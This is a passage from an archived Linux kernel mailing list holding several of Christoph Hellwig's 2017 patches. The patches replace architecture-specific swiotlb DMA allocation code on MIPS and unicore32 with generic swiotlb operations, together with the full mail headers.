Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27094>

These already include the GFP_DMA/GFP_DMA32 usage, and will use CMA
memory if enabled, thus avoiding the GFP_NORETRY hack.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/mips/cavium-octeon/Kconfig           |  1 +
 arch/mips/cavium-octeon/dma-octeon.c      | 26 +++-----------------------
 arch/mips/loongson64/Kconfig              |  1 +
 arch/mips/loongson64/common/dma-swiotlb.c | 21 ++-------------------
 4 files changed, 7 insertions(+), 42 deletions(-)

diff --git a/arch/mips/cavium-octeon/Kconfig b/arch/mips/cavium-octeon/Kconfig
index 204a1670fd9b..b5eee1a57d6c 100644
--- a/arch/mips/cavium-octeon/Kconfig
+++ b/arch/mips/cavium-octeon/Kconfig
@@ -75,6 +75,7 @@ config NEED_SG_DMA_LENGTH
 
 config SWIOTLB
 	def_bool y
+	select DMA_DIRECT_OPS
 	select IOMMU_HELPER
 	select NEED_SG_DMA_LENGTH
 
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index 6440ad3f9e3b..7b335ab21697 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -159,33 +159,13 @@ static void octeon_dma_sync_sg_for_device(struct device *dev,
 static void *octeon_dma_alloc_coherent(struct device *dev, size_t size,
 	dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	void *ret;
-
-	if (IS_ENABLED(CONFIG_ZONE_DMA) && dev == NULL)
-		gfp |= __GFP_DMA;
-	else if (IS_ENABLED(CONFIG_ZONE_DMA) &&
-		 dev->coherent_dma_mask <= DMA_BIT_MASK(24))
-		gfp |= __GFP_DMA;
-	else if (IS_ENABLED(CONFIG_ZONE_DMA32) &&
-		 dev->coherent_dma_mask <= DMA_BIT_MASK(32))
-		gfp |= __GFP_DMA32;
-
-	/* Don't invoke OOM killer */
-	gfp |= __GFP_NORETRY;
-
-	ret = swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
+	void *ret = swiotlb_alloc(dev, size, dma_handle, gfp, attrs);
 
 	mb();
 
 	return ret;
 }
 
-static void octeon_dma_free_coherent(struct device *dev, size_t size,
-	void *vaddr, dma_addr_t dma_handle, unsigned long attrs)
-{
-	swiotlb_free_coherent(dev, size, vaddr, dma_handle);
-}
-
 static dma_addr_t octeon_unity_phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	return paddr;
@@ -225,7 +205,7 @@ EXPORT_SYMBOL(__dma_to_phys);
 static struct octeon_dma_map_ops octeon_linear_dma_map_ops = {
 	.dma_map_ops = {
 		.alloc = octeon_dma_alloc_coherent,
-		.free = octeon_dma_free_coherent,
+		.free = swiotlb_free,
 		.map_page = octeon_dma_map_page,
 		.unmap_page = swiotlb_unmap_page,
 		.map_sg = octeon_dma_map_sg,
@@ -311,7 +291,7 @@ void __init plat_swiotlb_setup(void)
 static struct octeon_dma_map_ops _octeon_pci_dma_map_ops = {
 	.dma_map_ops = {
 		.alloc = octeon_dma_alloc_coherent,
-		.free = octeon_dma_free_coherent,
+		.free = swiotlb_free,
 		.map_page = octeon_dma_map_page,
 		.unmap_page = swiotlb_unmap_page,
 		.map_sg = octeon_dma_map_sg,
diff --git a/arch/mips/loongson64/Kconfig b/arch/mips/loongson64/Kconfig
index 0d249fc3cfe9..6f109bb54cdb 100644
--- a/arch/mips/loongson64/Kconfig
+++ b/arch/mips/loongson64/Kconfig
@@ -136,6 +136,7 @@ config SWIOTLB
 	bool "Soft IOMMU Support for All-Memory DMA"
 	default y
 	depends on CPU_LOONGSON3
+	select DMA_DIRECT_OPS
 	select IOMMU_HELPER
 	select NEED_SG_DMA_LENGTH
 	select NEED_DMA_MAP_STATE
diff --git a/arch/mips/loongson64/common/dma-swiotlb.c b/arch/mips/loongson64/common/dma-swiotlb.c
index 0a02ea70e39f..6a739f8ae110 100644
--- a/arch/mips/loongson64/common/dma-swiotlb.c
+++ b/arch/mips/loongson64/common/dma-swiotlb.c
@@ -13,29 +13,12 @@
 static void *loongson_dma_alloc_coherent(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	void *ret;
+	void *ret = swiotlb_alloc(dev, size, dma_handle, gfp, attrs);
 
-	if ((IS_ENABLED(CONFIG_ISA) && dev == NULL) ||
-	    (IS_ENABLED(CONFIG_ZONE_DMA) &&
-	     dev->coherent_dma_mask < DMA_BIT_MASK(32)))
-		gfp |= __GFP_DMA;
-	else if (IS_ENABLED(CONFIG_ZONE_DMA32) &&
-		 dev->coherent_dma_mask < DMA_BIT_MASK(40))
-		gfp |= __GFP_DMA32;
-
-	gfp |= __GFP_NORETRY;
-
-	ret = swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
 	mb();
 	return ret;
 }
 
-static void loongson_dma_free_coherent(struct device *dev, size_t size,
-		void *vaddr, dma_addr_t dma_handle, unsigned long attrs)
-{
-	swiotlb_free_coherent(dev, size, vaddr, dma_handle);
-}
-
 static dma_addr_t loongson_dma_map_page(struct device *dev, struct page *page,
 				unsigned long offset, size_t size,
 				enum dma_data_direction dir,
@@ -106,7 +89,7 @@ phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr)
 
 static const struct dma_map_ops loongson_dma_map_ops = {
 	.alloc = loongson_dma_alloc_coherent,
-	.free = loongson_dma_free_coherent,
+	.free = swiotlb_free,
 	.map_page = loongson_dma_map_page,
 	.unmap_page = swiotlb_unmap_page,
 	.map_sg = loongson_dma_map_sg,
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 62/67] mips/netlogic: remove swiotlb support
Date: Fri, 29 Dec 2017 09:19:06 +0100
Lines: 155
Approved: news@gmane.org
Message-ID: <20171229081911.2802-63-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535858 4499 195.159.176.226 (29 Dec 2017 08:24:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:24:18 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Fri Dec 29 09:24:12 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eUpxU-0007ui-JX
	for glphk-linux-hexagon@m.gmane.org; Fri, 29 Dec 2017 09:24:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755457AbdL2I0G (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Fri, 29 Dec 2017 03:26:06 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:58501 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756164AbdL2IYA (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Fri, 29 Dec 2017 03:24:00 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=DHcBWcNEKcDOGecpqthIPivQz5mhze0o77ZrI7OEQE8=; b=CJ3RdMIEqwSv1CRIL/eN/gE3N
        ls3fhuQJhHNzJkAJhW+ite06t0Gfu0KlNRbEyX54yEadRl3N+yM4CUC+48iaPczrSwJt0ci4sx+fK
        7o5f1GuoeC+4YbkShR60dWKDauEQtg7taUbAi8qAWUBRM04ATsLC/QKu9O21BQjuQFrle8jCd4/C+
        0tXzOexi7Jb/UbBLV/b3P+wesmz+fscw1IxiC3Q2lmrDZk6kwLKucO3u3VuQlJuff7lFiF1Yzk5jQ
        lTFRNivcoT9goChCcsdMe1zMwlaDmOSs+jx4mt1OdZ1LXlMvmC8QO00WYaGyylepIRKhJa8DagxdG
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxE-0003tS-PC; Fri, 29 Dec 2017 08:23:49 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1452 gmane.linux.kernel.iommu:21932 gmane.linux.ports.alpha:4599 gmane.linux.kernel.arc:3220 gmane.linux.ports.arm.kernel:622945 gmane.linux.ports.ia64:28442 gmane.linux.kernel.metag:1526 gmane.linux.ports.mips.general:62975 gmane.linux.ports.parisc:28117 gmane.linux.ports.ppc64.devel:151549 gmane.linux.ports.sh.devel:56088 gmane.linux.ports.sparc:27095 gmane.linux.kernel.cross-arch:40835 gmane.linux.kernel:2654262
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1452>

nlm_swiotlb_dma_ops is unused code, so the whole swiotlb support is dead.
If it gets resurrected at some point it should use the generic
swiotlb_dma_ops instead.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/mips/include/asm/netlogic/common.h |  3 --
 arch/mips/netlogic/Kconfig              |  5 --
 arch/mips/netlogic/common/Makefile      |  1 -
 arch/mips/netlogic/common/nlm-dma.c     | 94 ---------------------------------
 4 files changed, 103 deletions(-)
 delete mode 100644 arch/mips/netlogic/common/nlm-dma.c

diff --git a/arch/mips/include/asm/netlogic/common.h b/arch/mips/include/asm/netlogic/common.h
index a6e6cbebe046..57616649b4f3 100644
--- a/arch/mips/include/asm/netlogic/common.h
+++ b/arch/mips/include/asm/netlogic/common.h
@@ -87,9 +87,6 @@ unsigned int nlm_get_cpu_frequency(void);
 extern const struct plat_smp_ops nlm_smp_ops;
 extern char nlm_reset_entry[], nlm_reset_entry_end[];
 
-/* SWIOTLB */
-extern const struct dma_map_ops nlm_swiotlb_dma_ops;
-
 extern unsigned int nlm_threads_per_core;
 extern cpumask_t nlm_cpumask;
 
diff --git a/arch/mips/netlogic/Kconfig b/arch/mips/netlogic/Kconfig
index 8296b13affd2..7fcfc7fe9f14 100644
--- a/arch/mips/netlogic/Kconfig
+++ b/arch/mips/netlogic/Kconfig
@@ -89,9 +89,4 @@ config IOMMU_HELPER
 config NEED_SG_DMA_LENGTH
 	bool
 
-config SWIOTLB
-	def_bool y
-	select NEED_SG_DMA_LENGTH
-	select IOMMU_HELPER
-
 endif
diff --git a/arch/mips/netlogic/common/Makefile b/arch/mips/netlogic/common/Makefile
index 60d00b5d748e..89f6e3f39fed 100644
--- a/arch/mips/netlogic/common/Makefile
+++ b/arch/mips/netlogic/common/Makefile
@@ -1,6 +1,5 @@
 # SPDX-License-Identifier: GPL-2.0
 obj-y				+= irq.o time.o
-obj-y				+= nlm-dma.o
 obj-y				+= reset.o
 obj-$(CONFIG_SMP)		+= smp.o smpboot.o
 obj-$(CONFIG_EARLY_PRINTK)	+= earlycons.o
diff --git a/arch/mips/netlogic/common/nlm-dma.c b/arch/mips/netlogic/common/nlm-dma.c
deleted file mode 100644
index 49c975b6aa28..000000000000
--- a/arch/mips/netlogic/common/nlm-dma.c
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
-*  Copyright (C) 2003-2013 Broadcom Corporation
-*  All Rights Reserved
- *
- * This software is available to you under a choice of one of two
- * licenses.  You may choose to be licensed under the terms of the GNU
- * General Public License (GPL) Version 2, available from the file
- * COPYING in the main directory of this source tree, or the Broadcom
- * license below:
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in
- *    the documentation and/or other materials provided with the
- *    distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY BROADCOM ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL BROADCOM OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
- * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
- * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
- * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
- * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-#include <linux/dma-mapping.h>
-#include <linux/scatterlist.h>
-#include <linux/bootmem.h>
-#include <linux/export.h>
-#include <linux/swiotlb.h>
-#include <linux/types.h>
-#include <linux/init.h>
-#include <linux/mm.h>
-
-#include <asm/bootinfo.h>
-
-static char *nlm_swiotlb;
-
-static void *nlm_dma_alloc_coherent(struct device *dev, size_t size,
-	dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
-{
-#ifdef CONFIG_ZONE_DMA32
-	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32))
-		gfp |= __GFP_DMA32;
-#endif
-
-	/* Don't invoke OOM killer */
-	gfp |= __GFP_NORETRY;
-
-	return swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
-}
-
-static void nlm_dma_free_coherent(struct device *dev, size_t size,
-	void *vaddr, dma_addr_t dma_handle, unsigned long attrs)
-{
-	swiotlb_free_coherent(dev, size, vaddr, dma_handle);
-}
-
-const struct dma_map_ops nlm_swiotlb_dma_ops = {
-	.alloc = nlm_dma_alloc_coherent,
-	.free = nlm_dma_free_coherent,
-	.map_page = swiotlb_map_page,
-	.unmap_page = swiotlb_unmap_page,
-	.map_sg = swiotlb_map_sg_attrs,
-	.unmap_sg = swiotlb_unmap_sg_attrs,
-	.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device = swiotlb_sync_sg_for_device,
-	.mapping_error = swiotlb_dma_mapping_error,
-	.dma_supported = swiotlb_dma_supported
-};
-
-void __init plat_swiotlb_setup(void)
-{
-	size_t swiotlbsize;
-	unsigned long swiotlb_nslabs;
-
-	swiotlbsize = 1 << 20; /* 1 MB for now */
-	swiotlb_nslabs = swiotlbsize >> IO_TLB_SHIFT;
-	swiotlb_nslabs = ALIGN(swiotlb_nslabs, IO_TLB_SEGSIZE);
-	swiotlbsize = swiotlb_nslabs << IO_TLB_SHIFT;
-
-	nlm_swiotlb = alloc_bootmem_low_pages(swiotlbsize);
-	swiotlb_init_with_tbl(nlm_swiotlb, swiotlb_nslabs, 1);
-}
-- 
2.14.2


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 59/67] unicore32: use generic swiotlb_ops
Date: Fri, 29 Dec 2017 09:19:03 +0100
Lines: 118
Approved: news@gmane.org
Message-ID: <20171229081911.2802-60-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535877 8583 195.159.176.226 (29 Dec 2017 08:24:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:24:37 +0000 (UTC)
Cc: linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
        linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
        linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Dec 29 09:24:31 2017
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eUpxu-0000XA-6S
	for glkm-linux-metag@m.gmane.org; Fri, 29 Dec 2017 09:24:30 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1756130AbdL2I0b (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 29 Dec 2017 03:26:31 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:38521 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756127AbdL2IXq (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 29 Dec 2017 03:23:46 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=c8GccIKaECffRbMBTVTcR4/ve8yibihJK/p+u5zIuEQ=; b=c+HsQWxBuxwDK6cDNTmQb3Hza
        zSWpLYKbrq2m7CHsTjCtb5RVVV1qBmllL/QwkWRkMiWZoPOoTd/xC54BeRk6FUkHQ0rWh+JakL4qE
        6nkocCp+nus8+NX33Ps7kmbMkV0e2xiXbt21vSf8pGyPVKhAhlEd2saHFFqVsBOxtVBSthRsXcvmn
        RlVBrpPIMxsuaw47o0I08+kRiGwpcqIefHBPC8yt35V6BlOr8NXhJJXsdlzWaV6w9F22x6a4Of6E3
        U2NbDaUifrPVkI6DgvE1pOkjq6xdLZ0suHf/ox8+gaL7HeNhdWtxkCjpsm/0+ai4vGTfhHeCaDbZ5
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpx1-0003kR-Gn; Fri, 29 Dec 2017 08:23:36 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1527 gmane.linux.kernel.iommu:21933 gmane.linux.ports.alpha:4600 gmane.linux.kernel.arc:3221 gmane.linux.ports.arm.kernel:622946 gmane.linux.ports.hexagon:1453 gmane.linux.ports.ia64:28443 gmane.linux.ports.mips.general:62976 gmane.linux.ports.parisc:28118 gmane.linux.ports.ppc64.devel:151550 gmane.linux.ports.sh.devel:56089 gmane.linux.ports.sparc:27096 gmane.linux.kernel.cross-arch:40836 gmane.linux.kernel:2654263
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1527>

These are identical to the unicore32 ops, and would also support CMA
if enabled on unicore32.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/unicore32/include/asm/dma-mapping.h |  9 +-----
 arch/unicore32/mm/Kconfig                |  1 +
 arch/unicore32/mm/Makefile               |  2 --
 arch/unicore32/mm/dma-swiotlb.c          | 48 --------------------------------
 4 files changed, 2 insertions(+), 58 deletions(-)
 delete mode 100644 arch/unicore32/mm/dma-swiotlb.c

diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index f2bfec273aa7..790bc2ef4af2 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -12,18 +12,11 @@
 #ifndef __UNICORE_DMA_MAPPING_H__
 #define __UNICORE_DMA_MAPPING_H__
 
-#ifdef __KERNEL__
-
-#include <linux/mm_types.h>
-#include <linux/scatterlist.h>
 #include <linux/swiotlb.h>
 
-extern const struct dma_map_ops swiotlb_dma_map_ops;
-
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &swiotlb_dma_map_ops;
+	return &swiotlb_dma_ops;
 }
 
-#endif /* __KERNEL__ */
 #endif
diff --git a/arch/unicore32/mm/Kconfig b/arch/unicore32/mm/Kconfig
index c256460cd363..e9154a59d561 100644
--- a/arch/unicore32/mm/Kconfig
+++ b/arch/unicore32/mm/Kconfig
@@ -42,6 +42,7 @@ config CPU_TLB_SINGLE_ENTRY_DISABLE
 
 config SWIOTLB
 	def_bool y
+	select DMA_DIRECT_OPS
 
 config IOMMU_HELPER
 	def_bool SWIOTLB
diff --git a/arch/unicore32/mm/Makefile b/arch/unicore32/mm/Makefile
index 681c0ef5ec9e..8106260583ab 100644
--- a/arch/unicore32/mm/Makefile
+++ b/arch/unicore32/mm/Makefile
@@ -6,8 +6,6 @@
 obj-y				:= extable.o fault.o init.o pgd.o mmu.o
 obj-y				+= flush.o ioremap.o
 
-obj-$(CONFIG_SWIOTLB)		+= dma-swiotlb.o
-
 obj-$(CONFIG_MODULES)		+= proc-syms.o
 
 obj-$(CONFIG_ALIGNMENT_TRAP)	+= alignment.o
diff --git a/arch/unicore32/mm/dma-swiotlb.c b/arch/unicore32/mm/dma-swiotlb.c
deleted file mode 100644
index 525413d6690e..000000000000
--- a/arch/unicore32/mm/dma-swiotlb.c
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Contains routines needed to support swiotlb for UniCore32.
- *
- * Copyright (C) 2010 Guan Xuetao
- *
- * This program is free software; you can redistribute  it and/or modify it
- * under  the terms of  the GNU General  Public License as published by the
- * Free Software Foundation;  either version 2 of the  License, or (at your
- * option) any later version.
- */
-#include <linux/pci.h>
-#include <linux/cache.h>
-#include <linux/module.h>
-#include <linux/dma-mapping.h>
-#include <linux/swiotlb.h>
-#include <linux/bootmem.h>
-
-#include <asm/dma.h>
-
-static void *unicore_swiotlb_alloc_coherent(struct device *dev, size_t size,
-					    dma_addr_t *dma_handle, gfp_t flags,
-					    unsigned long attrs)
-{
-	return swiotlb_alloc_coherent(dev, size, dma_handle, flags);
-}
-
-static void unicore_swiotlb_free_coherent(struct device *dev, size_t size,
-					  void *vaddr, dma_addr_t dma_addr,
-					  unsigned long attrs)
-{
-	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
-}
-
-const struct dma_map_ops swiotlb_dma_map_ops = {
-	.alloc = unicore_swiotlb_alloc_coherent,
-	.free = unicore_swiotlb_free_coherent,
-	.map_sg = swiotlb_map_sg_attrs,
-	.unmap_sg = swiotlb_unmap_sg_attrs,
-	.dma_supported = swiotlb_dma_supported,
-	.map_page = swiotlb_map_page,
-	.unmap_page = swiotlb_unmap_page,
-	.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device = swiotlb_sync_sg_for_device,
-	.mapping_error = swiotlb_dma_mapping_error,
-};
-EXPORT_SYMBOL(swiotlb_dma_map_ops);
-- 
2.14.2


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 57/67] ia64: clean up swiotlb support
Date: Fri, 29 Dec 2017 09:19:01 +0100
Lines: 160
Approved: news@gmane.org
Message-ID: <20171229081911.2802-58-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535911 15852 195.159.176.226 (29 Dec 2017 08:25:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:25:11 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
